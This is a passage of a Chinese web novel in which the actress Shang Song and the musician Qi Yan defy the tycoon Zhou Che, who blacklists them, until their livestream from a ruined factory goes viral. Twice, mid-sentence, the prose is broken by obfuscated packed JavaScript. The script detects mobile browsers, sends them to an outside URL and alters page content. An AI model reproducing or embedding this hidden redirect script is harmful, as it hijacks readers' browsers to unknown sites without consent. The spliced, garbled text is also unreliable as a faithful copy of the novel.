评论区的那些字眼——“私生活混乱”、“烂锅配烂盖”、“过气疯子与落魄金丝雀”,像苍蝇一样嗡嗡乱叫。商颂面无表情地划过,她没有关评论,甚至还有闲情雅致点开几条骂得最有创意的,像是为了时刻提醒自己:这就是现在身处的地狱,看清楚了。 屏幕突然亮起。 视频邀请。 名字是简简单单的“伯雪寻”。 商颂夹烟的手指微不可察地顿了一下,烟灰长长一截,“啪嗒”落在桌面上。她并没有立刻接起,而是迅速深吸了一口气,将肺里的浊气排空,甚至伸手拢了拢那头被风吹得狂乱的发,调整了一个足够冷硬、足够无所谓的坐姿,才按下了接通键。 如果伯雪寻是来安慰的,她大概会毫不留情地挂断电话。她商颂不需要同伴的眼泪,那是最廉价的殉葬品。 画面晃动了几下,随即定格在伯雪寻那张脸上。 背景不是什么阴暗的地下室,也不是她想象中满地酒瓶的颓废场景。而是一间灯火通明的练习室,背景里甚至还能听到那种鞋底摩擦地板的刺耳声响,以及充满节奏感的强劲音乐。 伯雪寻穿着一件简单的纯白T恤,头发湿漉漉地贴在鬓角,脖颈上青筋因为剧烈运动而微凸。他看起来太鲜活了,鲜活得不像是那个被全网挂在耻辱柱上的“夜场牛|郎”。 “阿颂。” 他对着镜头笑,眼底有一抹并不达眼底的狡黠,仿佛还是那个在LiveHouse后台给她递薄荷糖的少年,“那边信号不好?怎么板着张脸。” “我看新闻,以为寻星早就把你拆了卖零件了。怎么,翟海良还没破产?” “让你失望了,我也挺意外。” 伯雪寻拧开矿泉水喝了一口,喉结滚动的线条显得格外生动。他放下水瓶,凑近镜头,那双清冷的眸子直直地撞进商颂充满防御的视线里。 “非但没解约,反而还要让我这个‘劣迹艺人’发挥余热。” 他语气轻松,“寻星和T.E.A.MGlobal——那个专门做亚文化偶像的国外厂牌签了合作。据说外网觉得我那段‘堕落视频’很有艺术感,准备把我打包送去首尔和洛杉矶,走‘暗黑破碎系’路子。” 商颂紧紧盯着伯雪寻的每一个微表情,企图从中找到一丝强颜欢笑的破绽。但没有。他的眼神太干净,太坦荡,带着一种令人信服的少年意气。 “去国外?”商颂挑眉,“你受得了吗?别到时候打电话让我去给你收尸。” “所以这次我也没得选啊,我也要去做资本家的狗了,只不过这次换成了洋狗。”伯雪寻自嘲地耸了耸肩,“下周就飞。这大概是目前最好的结局了,你说呢?” 商颂沉默了。 那是长时间的沉默。 她甚至忘了弹去指尖几乎要烧到皮肤的烟灰。那种一直勒在她脖子上的无形绞索,在他这番云淡风轻的话语中,终于松了一寸。 但也仅仅是一寸。 她的自尊不允许她表现出感激,更不允许她露出劫后余生的庆幸。因为那等于承认,之前的她有多么恐惧和无助。 “那确实是最好的结局。” 过了许久,商颂将烟头狠狠碾灭在吃剩的米线碗里,发出“滋”的一声轻响。 她抬起下巴,透过袅袅升起的烟雾,“既然不用死了,那就好好混。伯雪寻,要是没混出个人样来,以后在好莱坞遇见别说认识我。我丢不起这个人。” “遵命,商老师。”伯雪寻笑意加深,看着她那副死鸭子嘴硬的模样,心里泛起一阵酸软的疼,面上却笑得更灿烂,“到时候我要蹭你的红毯,你可别让保安赶我。” “看心情。”商颂笑着回了一句。 “阿颂。” 在挂断前的最后一秒,伯雪寻的声音突然沉了下来,收起了所有的玩笑,认真得让人心悸。 “去做你自己想做的事。你的那些野心,你的不甘心,别让它们烂在这个破地方。我不倒,你就没输。” 商颂的心脏猛地一颤。 她别过脸,避开他的视线,看向窗外漆黑的夜。 “废话真多。挂了。” 屏幕瞬间黑了下去。 商颂依旧保持着举着手机的姿势,僵硬了几秒。 她没有哭,眼眶里甚至连一点湿意都没有。她只是觉得喉咙里干得厉害,像是有火在烧。她拿起桌上那杯茶水,仰头灌下,冰凉苦涩的液体冲刷着食管,强行压下了胸腔里那股翻涌的情绪。 伯雪寻这步棋走活了。 这意味着周彻没有一手遮天,意味着这场权力的绞杀里,依然有漏网之鱼。 既然如此,她商颂凭什么要认? 28. 第 28 章 商颂挂断伯雪寻的电话后,在米线店坐了很久。直到那根烟燃到了过滤嘴,烫到了指尖,她才惊醒般地松开手。烟头掉进油腻的红汤里,熄灭时发出一声短促的哀鸣。 她抬头,看着窗外漆黑的夜色,那里倒映着她那张即使素颜也难掩野心的脸。 逃避是没用的。 伯雪寻能走,是因为他本就是无根的浮萍,哪里有舞台哪里就能活。但她商颂不一样。她的根,也就是她的欲望,深深扎在北京那片名利场里。拔出来,不仅带血,还会死。 与其在这里等着周彻那个疯子一点点把她的氧气抽干,不如主动把脖子递过去——当然,手里得藏着刀。 商颂结了账,走出小店。大理夜晚的风很凉,吹得人头脑清醒得发疼。 巷子口,祁演倚在那辆机车旁,指尖明明灭灭。他似乎一直在等她。 “打完了?”祁演把玩着手里的打火机,“那个小白脸是不是哭着让你别死?” “让你失望了,他活得比谁都好。”商颂裹紧了风衣,走到他面前,借着昏黄的路灯打量着眼前这个男人,“倒是你,被挖了个底朝天,现在的你就像是个被人扒光了供展览的小丑。” “彼此彼此。”祁演嗤笑一声,眼底满是无所谓,“怎么样?要不要接着跑?我可以带你去西藏,或者从边境偷渡去金三角,那种地方不要命的人多,没人在乎你是谁的破鞋。” “我不走。”商颂坚决。 祁演挑眉,“想回去送死?” “不,我是去谈判。”商颂抬起眼,目光越过祁演那宽阔的肩膀,“既然周彻这么想看我跪下,我就跪给他看。不过,跪姿怎么摆,得我说了算。” 祁演盯着她看了半晌,突然伸手捏住她的下巴。他的手指粗糙,力道很大,强迫她抬头。 “商颂,你真浑。” 他说得很慢,“好不容易从那个坑里爬出来一半,现在闻着腥味儿又要自己跳回去。” 商颂没躲,甚至迎着他的目光笑了一下,笑容妖冶又凄凉,“祁演,你是神仙,你可以吃露水。我是俗人,我得吃肉。而且——” 她推开他的手,理了理被风吹乱的衣领。 “我不回去,怎么给你这个‘死人’把棺材板掀开?那些骂你的人,也是我想让他们闭嘴的人。借你的机车一用,这场戏,缺了你这个疯子,周彻那个变态大概会觉得不够刺激。” 当晚凌晨,商颂那个已经停更三天的微博,突然有了动静。 没有卖惨,没有解释。 只发了一张照片。 那是刚刚在米线店拍的,一碗飘着烟头的残羹冷炙。 配文只有极其敷衍的三个字: 【饿了,京。】 不是“北京”,是“京”。那是她和周彻之间那个充满狎昵与控制欲的暗语。 那是她在求饶,在向那个拥有生杀大权的暴君释放信号: 外面的饭很难吃,我饿了,我想回笼子里吃皇粮了。 她把台阶铺好了,甚至还在台阶上撒了玫瑰花瓣。以周彻那极度膨胀的自负和占有欲,他绝不会允许自己的金丝雀在外面被别人喂食。 更重要的是,她人在大理,却发了个“京”字。 这是一种邀请。 如果你还想要这条狗,就亲自来把狗链子栓回去。 周彻来得比商颂预想的还要快。 这就是资本的速度。 私人湾流降落在几乎废弃的小型机场时,卷起的气流甚至惊扰了跑道边的野鸟。 第二天下午,那家名为“七色光”的破败培训机构门口,停下了一辆极其突兀的黑色劳斯莱斯。 这里是祁演的窝点,也是昨晚商颂在微博定位的地方。 车门打开,先下来的是四个训练有素的保镖,黑衣黑裤,将周围那几个探头探脑想拍照的村民隔绝在外。 随后,一只锃亮的手工皮鞋踏在了满是尘土和碎石的水泥地上。 周彻并没有穿那种显得很蠢的商务西装,而是一身极其休闲却透露着昂贵气息的米白色亚麻衬衫,下摆随意地塞进裤腰,袖口卷起,露出手腕上那块价值连城的百达翡丽。 他看起来不像是来捉|奸或者寻仇的,倒更像是个来考察贫困山区慈善项目的阔少爷。 只是那张脸上挂着的笑意,不达眼底,反而透着股令人骨髓发冷的阴鸷。 “玩够了吗?” “玩够了就下来。这里脏,别把脚弄脏了。” 那种理所当然的语气,仿佛之前所有的封杀、羞辱、逼迫都未曾发生过。仿佛只要他招招手,商颂就应该感恩戴德地扑过去。 商颂深吸一口气,突然笑了。 笑得花枝乱颤,笑得眼角都泛起泪花。 “周大少好兴致啊。”她居高临下地看着那个男人,第一次,用这种俯视的角度,“不在北京陪你的心尖宠岑星小姐弹钢琴,跑到这种鸟不拉屎的地方来,是想视察民情,还是想……捡破烂?” 周彻的眸色瞬间暗沉下去,像暴风雨前的海面。 他最讨厌商颂这种浑身长刺的样子。三年来,他以为自己已经拔光了她的刺,把她打磨成了最圆润光滑的一块玉,没想到只要一离开他的视线,她就会立刻长出更尖锐的獠牙。 “商颂,你知道我不喜欢听废话。”周彻迈上台阶,皮鞋在楼梯上发出沉闷的回响,“那个小爱豆的戏法玩得不错,但我既然能让他出国,也能让他死在国外。你以为你可以和他一样?” 他一步步逼近,最后站在了二楼那个狭窄的露台上。 逼仄的空间里,气场瞬间变得极度拥挤。 周彻根本没看祁演一眼。在他眼里,祁演已经是具尸体,或者连尸体都不如,只是一个背景板。他径直走向商颂,伸手想要去拉她的手腕。 “跟我回去。这次的事,只要你肯服个软,我可以既往不咎。你可以继续住在那套公寓,但我不会再允许你接任何戏,直到你学乖为止。” “啪!” 一声清脆的响声。 商颂挥开了他的手,“现在正主回来了,赝品也该退位让贤了。我不占那个位置,你也别再恶心我。我要你撤回封|杀|令。” “这是交易?”周彻嗤笑。 “这是止损。”商颂看着他,“我给你这三年的体面,不当那个让人膈应的替身。你给我一条活路,让我能在圈子里吃口饭。买卖不成仁义在,何必非要赶尽杀绝,让岑星看见你这么一副歇斯底里的样子?” “长本事了?” “别碰我。”商颂后退半步,站在祁演身侧,“周彻,你是听不懂人话吗?我说了,我不玩了。你的那个笼子,既然我已经飞出来了,就没打算再钻回去。” “飞出来?”周彻轻笑一声,那笑意不及眼底,“凭什么?凭你身边这个……强|奸|犯?” 他终于转过头,施舍般地给了祁演一个正眼。 那是极其轻蔑的一眼,带着一种天然的生理性厌恶。 “周彻,”祁演直起身子,那种流氓混杂着野性的气场竟然丝毫没被压制,“三年了,你的嘴还是这么臭。难怪岑星当年宁愿跟我,也不愿意多看你一眼。” 这句话精准地踩在了周彻的雷点上。 周彻那张矜贵的脸有一瞬间的扭曲。 “你找死。” “死我也死过了。”祁演无所谓地摊手,突然眼神一厉,一步跨到商颂面前,将她挡在身后,“倒是你,周大少,这是我家。你要是来喝茶,我欢迎;要是来抢人,门口左转那个垃圾堆才是你应该去的地方。” 两个男人之间的对峙,像是两头不同品种的野兽在互相试探。周彻是优雅残暴的黑豹,而祁演是满身伤痕却依旧凶狠的野狗。 周彻看着挡在商颂面前的祁演,眼底划过一丝阴鸷的计算。他知道,硬碰硬并不划算。这里不是北京,没有随叫随到的保镖和唯命是从的下属。在这里动手,丢的是他周彻的脸面。 他是个商人,更是个操控人心的猎手。既然不能直接猎杀,那就攻心。 “祁演,你大概还不知道吧。”周彻慢条斯理地笑了,“当年把你那杯酒换了的,不仅仅是樊一健。” 祁演的身体猛地僵硬了一下。 周彻满意地捕捉到了这一瞬间的破绽,嘴角微勾,“你想想,樊一健当时是你最好的兄弟,他为什么要毁了整个SOLAR?除非……有人给了他一个他无法拒绝的承诺。比如,SOLAR解散后,我就许诺给他一个进军影视圈的机会。” “哦对了,我好像忘了说。”周彻看向祁演,“那个建议,其实是商颂提的。” 这大概是周彻手里最狠的一张牌。 他在赌,赌人性的脆弱,赌他们之间那种本就岌岌可危的信任会在猜忌中崩塌。 祁演猛地转头看向商颂。 商颂的脸瞬间惨白,但她没有躲闪,也没有解释,只是死死地盯着周彻,“周彻,你为了逼我回去,连这种下三滥的挑拨离间都用出来了?当年我在你眼里算个屁?我能左右你的决定?能给樊一健许诺?” “你能不能左右,不重要。重要的是结果。”周彻步步紧逼,“结果就是,因为你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170905|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘识时务’,因为你在中间为了保全自己而选择的沉默,祁演成了弃子,岑星受了伤,而你,成功爬上了我的床,成了这几年最风光的商颂商大明星。” “祁演,你身后的这个女人,踩着你的尸体上位。现在你居然还要像条狗一样护着她?” 这句话太毒了。 它不仅撕开了商颂最不愿意面对的伤疤——那是她为了生存不得不做出的妥协,也狠狠刺向了祁演心里那根关于“背叛”的毒刺。 三年前那个晚上,商颂确实选择了沉默。她确实没有站出来为祁演说话,因为她知道周彻要毁掉祁演的决心。她自私地选择了保全自己。 这是她对祁演永远的亏欠。 周边的风似乎停了。空气闷热得让人想吐。 祁演背对着商颂,看不清表情。但他紧绷的脊背,和那双紧握成拳微微发抖的手,泄露了他此刻内心的惊涛骇浪。 商颂的心一点点沉下去。她知道,她没办法辩驳。 这就是她的罪。 “周彻说得对。”商颂的声音有些干涩,“当年的事,我确实没帮你。你想恨我就恨,想赶我走也随意。” 周彻眼底的笑意更深了。他张开双臂,像个胜券在握的神明,“商颂,看清楚了吗?你们不是同类。他是为了所谓理想可以去死的傻子,而你是为了利益可以出卖灵魂的商人。只有我,只有我能理解你那种想要爬上去的欲望。过来,回到我身边。” 就在所有人都以为祁演会暴怒,会把商颂推开的时候。 “啪。” 打火机的声音再次响起。 祁演低头点燃了那支劣质的香烟,狠狠吸了一口,辛辣的烟雾让他剧烈地咳嗽了几声,咳得眼泪都快出来了。 他一边咳,一边笑。 “周彻,你他妈是不是偶像剧看多了?” 祁演转过身,没看周彻,反而伸手一把揽住了商颂的肩膀。 那种属于男人特有的汗味、烟草味,还有那种滚烫的温度,瞬间将商颂从那种冰冷的回忆里拉了出来。 “老子确实是个傻子。”祁演吊儿郎当地看着周彻,眼底却是一片清明,“但我不瞎。当年那件事是谁做的局,老子心里门儿清。商颂她是自私,她是怂,但她从来没害过我。” “而且——”祁演故意把脸凑到商颂颈窝,暧昧地深吸了一口气,然后挑衅地看着周彻,“比起你这种道貌岸然、背后捅刀子的伪君子,我更喜欢她这种坏得坦坦荡荡的娘们。” “你说她是踩着我上位?”祁演冷笑,“那又怎样?既然踩都踩了,那她就欠我一条命。这辈子,她在哪,我在哪,这债她得慢慢还。轮得到你个外人在这儿叽叽歪歪?” “你说谁是外人?”周彻的面具终于碎了一角。 “这里有第三个人吗?”祁演故作惊讶地四处看了看,“哦,只有两只丧家犬,和一个拿着封|杀|令以为自己是皇帝的……傻逼。” “好。很好。” 周彻怒极反笑。 他最后深深地看了商颂一眼。那个女人,正任由祁演揽着,眼神里没有了刚才的恐惧和愧疚,只剩下那种与他决裂的决绝。 她真的,不想回头了。 甚至不惜与这个毁誉参半的“垃圾”绑在一起。 这不仅仅是背叛,这是对他周彻这三年来掌控的全面否定。 “既然你们这么情深义重,那我就成全你们。” 周彻整理了一下有些褶皱的袖口,恢复了那种令人厌恶的矜贵与冷漠。 “从今天开始,我会让‘商颂’这两个字,彻底从娱乐圈消失。而你,祁演,”他转身往楼下走去,“我会让你连教《两只老虎》的机会都没有。” “我们走着瞧。” 黑色劳斯莱斯再次扬起尘土,绝尘而去。 巷子里终于恢复了安静。 商颂感觉一直紧绷的那根弦终于断了,双腿一软,差点跪在地上。祁演眼疾手快地捞了她一把,两人靠着栏杆滑坐在满是灰尘的水泥地上。 “谢谢。”商颂低声说,声音有些抖。 “谢个屁。”祁演没好气地白了她一眼,手却没松开,“刚才要不是为了气死那孙子,老子早把你踹下去了。居然真的不帮我说话……操,越想越气。” 商颂看着他骂骂咧咧的样子,突然笑出声来。笑着笑着,眼泪就掉了下来。 “祁演,你说得对。我们是丧家犬。” “那也比当他笼子里的金丝雀强。”祁演伸手胡乱抹掉她脸上的泪,“行了,别嚎了。省点力气想想明天吃什么吧。” 29. 第 29 章 周彻的“处刑”没有任何缓冲期,就像他的吻,向来不留余地。 仅仅在劳斯莱斯消失的半小时后,房东领着两个横肉丛生的本地大汉晃了进来。 和往日的冷脸不同,这次房东笑得脸上褶子都开了花,一脸讨好地搓着手,语气谄媚:“哎呀,小祁,实在是对不住。不是哥不讲究,但这世道谁跟钱过不去啊?违约金周大老板都替您拍在我桌上了,我要是不收,那不是我不识抬举吗?” 他一边嬉皮笑脸地说着,一边甚至假意要把刚收到口袋里的租房合同掏出来扇风,眼神里透着股无赖的精明,“您是体面人,肯定不愿意见着那两位大哥帮您‘搬家’,对吧?咱好聚好散,别让大伙儿难做。” 话音未落,他根本没给祁演留半个字的辩解机会,脸上挂着那副极其欠揍的笑容,手却干脆利落地探向了门口的总闸,毫不犹豫地狠狠往下一拉。 “滋啦。” 黑暗中,只剩下房东那依然嬉笑却凉薄的声音:“得罪了啊。” 十分钟后,两人站在大理的街头,身后是被贴了封条的卷帘门。 祁演全身上下的家当都在一个黑色的吉他包里,外加一辆哈雷。商颂更惨,她除了一身如果不当出去就只能用来美丽的思琳风衣,以及手里那个屏幕碎裂的手机,一无所有。 甚至连那张所谓的“有些年头的大众”,也因为逾期未检,在刚才被拖走了。 “真行。” 祁演把吉他包往那个刻着“GODISDEAD”的机车上一捆,长腿一支,跨坐上去,转头看着商颂。借着路灯,他嘴角的弧度既讽刺又带着几分快意。 “这就是你那旧情人的手段。不但让你没戏拍,连住的地方都不给你留。商大明星,今晚要是没地儿去,我不介意咱们去桥洞底下挤一挤,好歹能帮你挡挡风。” 商颂站在路牙上,风吹得她的风衣猎猎作响。她低头点了一支烟,火光照亮了她那双即便到了绝境也依旧不肯低头的眼睛。 “桥洞?”她吐出一口烟圈,“祁演,你那个‘没有暖气的自建房顶楼’呢?不会也被封了吧?” “那个?”祁演嗤笑一声,“那是租给死人的。就在刚才,周大少把你‘朋友’我,变成了当地治安管理的重点驱逐对象。这片儿,不管是民宿还是狗窝,没人敢租给我。” 周彻这一手,叫坚壁清野。他要让他们在大理这片号称最自由的土地上,像两条丧家犬一样流浪,直到跪下求饶。 “怕了?”祁演盯着她。 商颂弹了弹烟灰,那动作优雅得像是在某个名利场的晚宴上,“我怕晚上太冷,你的肾虚,扛不住。” 祁演愣了一下,随即爆发出一阵那把烟嗓特有的沙哑大笑。他笑得胸腔都在震动,那是困兽挣脱锁链后的狂野。 “上来。”他一偏头,“带你去个周彻手伸不到的地方。” “哪儿?” “乱葬岗。” 祁演没开玩笑。 那辆哈雷像是暗夜里的幽灵,咆哮着冲出了古城区域,并没有走游客们熟知的环海路,而是拐进了一条极度颠簸还没有路灯的山路。 只有车灯切开浓稠的黑暗。 大约开了四十分钟,海拔不断攀升,空气稀薄且冷冽。直到路的尽头出现了一座废弃的水泥工厂。 巨大的冷却塔像是怪兽的骨架耸立在夜色中,墙壁上爬满了张牙舞爪的藤蔓。这里远离人烟,荒草丛生,确实是个只有鬼才会来的地方。 “这是我和当地几个玩乐队的哥们以前用来排练的据点。” 祁演熄了火,推开那扇沉重的铁门。 巨大的回声在空旷的厂房里回荡。 商颂跟着他走进去,眉头微皱。地上是满地的碎石和啤酒瓶,空气里还有一种长久无人造访的霉味。 “这地方不错。”商颂评价道,声音在空旷的空间里显得有些单薄。 祁演不知道从哪个角落里摸出一盏露营用的汽灯,“呲”地一声点燃。昏黄温暖的光瞬间驱散了黑暗,照亮了厂房的一角。 那里居然有一张破旧的双人沙发,一张用油漆桶搭起来的桌子,以及一套虽然积了灰但看起来还能用的架子鼓。 “没有五星级酒店的床单,只有老鼠和风。”祁演把汽灯放在桌子上,把自己那是件宽大的皮衣脱下来,随手扔在沙发上,扬了扬下巴,“你睡那儿。” “那你呢?” “我睡棺材板。”祁演指了指旁边一堆叠在一起的装载箱。 他从口袋里摸出两罐还没开封的啤酒,扔给商颂一罐。 “凑合过吧。在周彻想通之前,或者在他弄死我们之前,这是唯一的避难所。” 商颂接过啤酒,那是冰凉的液体。她没有抱怨,也没矫情,利落地拉开拉环,仰头灌了一口。 “祁演。”她突然开口。 “有屁快放。”祁演正蹲在地上检查那堆音频线。 “我们做个交易吧。”商颂走到那架落满灰尘的架子鼓前,伸手在那镲片上轻轻一敲,声音清脆得刺耳。 祁演抬起头,那双在阴影中依旧亮得惊人的狼眼盯着她,“你也想睡我?排队,前面还有一堆没给钱的。” “正经点。”商颂没笑,“周彻堵死了我们的路,想看我们在烂泥里打滚求饶。但我不想死,你也不想。” 她走到汽灯旁,那张脸在灯光下美得惊心动魄,带着一股玉石俱焚的决绝。 “那个外网的‘堕落天使’视频,既然伯雪寻能靠着它翻身,说明周彻的权势只在国内有效。外网那种‘颓废、真实、破碎’的审美,刚好也是你的赛道。” 祁演停下了手里的动作,眼神微眯。 “你要我重操旧业?” “不仅是重操旧业。”商颂蹲在他面前,目光灼灼,“我们要在这片废墟上,开一场只有我们两个人的演唱会。不需要观众,只需要镜头。” 她拿出那个屏幕碎裂的手机,晃了晃。 “我有账号,虽然被封杀,但还有几百万想看我笑话的黑粉。你有技术,有一把别人没有的破锣嗓子。我们不需要什么狗屁品牌方,我们自己就是品牌。” “品牌名叫什么?”祁演嘴角勾起一抹玩味的笑,“‘通奸男女’?还是‘丧家之犬’?” 商颂伸出食指,点了点祁演心脏的位置。 “叫‘Wasteland’(废土)。” 祁演看着她,良久,他突然低头笑了,笑得肩膀都在颤抖。 “商颂,你果然是个疯子。”他抬起头,眼神里燃起了三年来从未有过的野火,“既然要疯,那就玩个大的。” “准备好了吗?” 祁演坐在那套落满灰尘的架子鼓后,手里拿着一对他在路边随便捡来的鼓槌。他没穿上衣,那件昂贵的皮衣此刻正垫在商颂屁股底下的油桶上。赤|裸的上身只有薄薄的一层肌肉覆盖在骨骼上,因为冷,皮肤呈现出一种苍白的紧绷感,但他背脊上那道狭长的疤痕,却随着肌肉的收缩显得狰狞而充满力量。 “来。”商颂把手机架在一堆废砖头上。屏幕碎了,镜头上有裂纹,但正如祁演所说,这个裂纹本身就是一种滤镜。 她脱掉了那件用来御寒的思琳风衣。 里面是一条黑色的丝质吊带裙,原本是她带去大理当睡衣穿的,现在被她用打火机烧了裙摆,丝绸焦黑卷曲,参差不齐地挂在小腿处。她踩在满是碎石和玻璃渣的水泥地上。脚踝处为了掩盖还没消退的瘀青,缠着几圈白色的医用纱布,纱布末端松散地垂着。 “开机。” 直播信号接通的那一瞬间,画面是模糊的,右上角的在线人数孤零零地显示着个位数——大多是误触进来的机器账号。 几分钟后,闻风而动的黑粉和看热闹的营销号摸到了直播间。弹幕开始稀稀拉拉地飘过,充斥着毫不掩饰的恶意与猎奇。 【呦,这是在哪个垃圾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176103|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场呢?豪门弃妇就这待遇?】 【这画质,我也真是醉了,为了卖惨连灯都舍不得开?】 【商颂人呢?不会是想不开要直播什么少儿不宜吧?前面那个打赤膊的男的是谁?】 【笑死,黑漆漆的像个鬼屋,散了散了,装神弄鬼。】 直播间的人数卡在三位数,大部分人正把手指悬在“退出”键上。 直到第一声鼓点—— “咚!” 那不是试音,那是宣战。 镜头猛地颤了一下。祁演的起手式极狠,双踩的重音像心脏骤停般在空旷的穹顶下炸开。 【卧槽吓我一跳!】 【这鼓声……什么情况?】 紧接着,那束刺眼的哈雷大灯光柱里,闯入了一抹漆黑的影子。商颂没有化妆,甚至头发有些乱,一身剪裁并不合规的黑裙,赤脚踩在满是砂砾的地上。 随着密集的鼓点,她起跳、锁舞、倒立冻结。 黑色的裙摆与充满力量感的街舞动作形成了一种极度割裂的张力,她像是一朵在灰烬里挣扎扭动的野花,又脏又狂。 【???不是哭诉?这是在跳舞?】 【等等……那是商颂?那个甩头发的动作有点帅是怎么回事……】 【别刷屏!让我看清楚那个鼓手!那是祁演吗?这肌肉线条我看错了吗?!】 原本嘲讽的弹幕出现了一瞬的真空,紧接着,直播间右下角的数据开始不正常地跳动。 500人。2000人。 光影切割着商颂的身体,哈雷的车灯把她的影子拉得很长。她在光里满地打滚,那是真滚,膝盖蹭过地面,指尖沾满油污,但每一个动作都精准地踩在祁演那如暴雨般的鼓点上。那种濒死的破碎感和狂野的生命力杂糅在一起,顺着模糊的画质冲破了屏幕。 大数据捕捉到了这里异常的留存率,推流阀门被猛然冲开。 5万人。10万人。 越来越多的人涌入,原本全是辱骂的评论区被满屏的感叹号淹没。有人开始截图,有人开始录屏转发。 【这灯光绝了,这就是传说中的废墟朋克吗?】 【从来没见过这么狠的商颂……她看起来想杀了我,但我好爱。】 【谁在说是卖惨?这简直是行为艺术!】 【只有我注意到那个祁演简直A爆了吗!他俩这种亡命天涯的CP感是怎么回事!】 屏幕上开始出现礼物的特效,廉价的爱心和昂贵的火箭交织在一起,把这破败的废墟映得五光十色。商颂眼神空洞而冷冽地看着镜头,仿佛并不知道,在这短短十几分钟里,她已经再一次站在了风暴的中心。 在最后一个镜头里,商颂精疲力尽地倒在祁演那台架子鼓旁。祁演扔了鼓槌,满头大汗地弯腰去拉她。镜头定格在两人的手交握的那一瞬间,背景音是哈雷摩托未熄火的轰鸣。 那是对抗世界的声音。 这场名为“Wasteland”的直播,在切断信号后的两小时内,屠榜了。不是作为“黑料”,而是作为一种极具冲击力的“视觉暴力美学”。 那些曾经骂她“资源咖”的时尚博主们失语了。外网甚至开始搬运,#WastelandRomance#(废土罗曼史)的词条甚至压过了正在举行的巴黎时装周。 商颂躺在沙发上,大口喘着气,胸膛剧烈起伏。汗水浸湿了她的后背,让她在这个只有五度的夜晚冻得瑟瑟发抖。 “我们赢了。”她看着手机上不断飙升的数据,笑得嘴唇发白,“祁演,你看,他们都在夸我们像两条漂亮的野狗。” 祁演把自己的皮衣扔回她身上,眼神晦暗不明。 “赢个屁。”他冷哼一声,“不过是把伤口撕开给他们看,让他们有了新的谈资。这叫卖艺,不叫赢。” 但他没有否认,刚才那一刻,在鼓点和她的眼神交汇里,他那个早已死去的灵魂,确确实实颤抖了一下。 30. 第 30 章 这场废土狂欢的余波,最终还是冲破了周彻那道坚固的豪宅大门。 凌晨三点的北京,位于CBD顶层的复式豪宅里,巨大的落地窗上映出一道修长孤寂的身影。 周彻手里捏着高脚杯,他没有开灯,只有那个占满了整面墙的投影屏发出幽冷的光。 画面循环播放着那个只有十五分钟的视频。 一遍,两遍,十遍。 他看着商颂在那片肮脏的废墟里起舞,看着她眼神里那种濒死的艳丽。那种生命力,太强了,强得让他那颗已经被权力腐蚀得有些迟钝的心脏,感到了久违的刺痛和嫉妒。 她在泥里,却开得比他在金屋里养着时还要美。 而那个站在阴影里为她伴奏的祁演,就像是一个该死的骑士,用最原始的噪音,为她筑起了一道他也无法轻易跨越的墙。 他想把她抓回来。不是为了折磨,而是因为恐慌。他恐慌如果不把她抓回来,这只鸟,就真的要变异成鹰,飞向他也触碰不到的天空了。 桌上的内线电话突然响起。是秘书处打来的,语气惶恐:“周先生,这边……这边的舆论有些控制不住了。几家原本要解约的品牌方,现在看到这个视频的反响,都在私下里接触商小姐的那个临时邮箱……甚至还有国外的品牌在打听。” “拦住。” 周彻拿起话筒,“告诉他们,谁敢在这个时候给商颂递合同,就是跟我周彻过不去。包括那些国外的。” “可是……有些独立品牌如果不怕封|杀……” “那就买下来。”周彻语气淡漠,“把路封死。” 挂断电话,周彻看着屏幕上那个最后商颂倒在祁演身边的画面,嘴角勾起一抹残忍而温柔的笑。 “商颂,既然你这么喜欢‘缪斯’这个角色,那我就给你一个最大的舞台。” 这封邀请函送达大理的方式极其高调,甚至带着一丝羞辱的意味。 并非是邮寄,而是直接由一位穿着三件套西装还带着白手套的管家,跨越几千公里,站在了那个满是工业废料的厂房门口。 那是周家的老管家,看着周彻长大的何叔。他那一丝不苟的银发和那种从骨子里透出来的英伦范儿,与这满地狼藉的废墟格格不入。 “商小姐。” 何叔无视了站在旁边手里提着根钢管的祁演,甚至没因为这里的脏乱而皱一下眉,只是双手奉上一张黑色的邀请函。 封面上烫金的字体极其繁复优雅: TheTenthMuse·FirstShow To:Ms.ShangSong “少爷说,他在北京看了您的‘演出’,非常精彩。”何叔的声音温和,“他说,既然您这么想做艺术,那就应该在最顶级的地方做。‘第十位缪斯’下周二在巴黎的首秀,那是少爷筹备了三年的高定品牌。” “他缺一个明星模特。或者说,缺一个代言人。” 商颂接过那张邀请函。 第十位缪斯。 那是西方神话里并不存在的存在。九位缪斯掌管艺术与科学,而柏拉图曾将女诗人萨福称为“第十位缪斯”。那是关于痛苦、爱欲与不可得的象征。 周彻用这个名字命名品牌,本身就透着一种让人捉摸不透的意味。 “他给我机会?”商颂笑了一声,那笑里带着讽刺,“条件是什么?如果是让我跪着爬回去,那就算了。” “少爷说,这是他给您的最后一次机会。”何叔依然保持着那种完美的微笑,“如果您来了,之前的封|杀|令作废,房子、车子、甚至是之前的资源,都会在那一夜之后回到您手里。如果您不来……” 何叔看了一眼旁边脸色铁青的祁演。 “这间厂房的地皮,明天就会被周氏集团收购,推平做度假村。以及这位祁先生手里仅剩的这把吉他,可能也会变成某些‘非法违禁品’的证据。” 这是威胁。拿捏七寸的威胁。 祁演猛地丢了手里的钢管,那钢管在地上砸出一声巨响。他几步跨过来,死死盯着何叔,“回去告诉那个孙子,商颂不去。他有种就把大理铲平了,老子光脚的不怕穿鞋的。” “祁演。”商颂突然出声,打断了他。 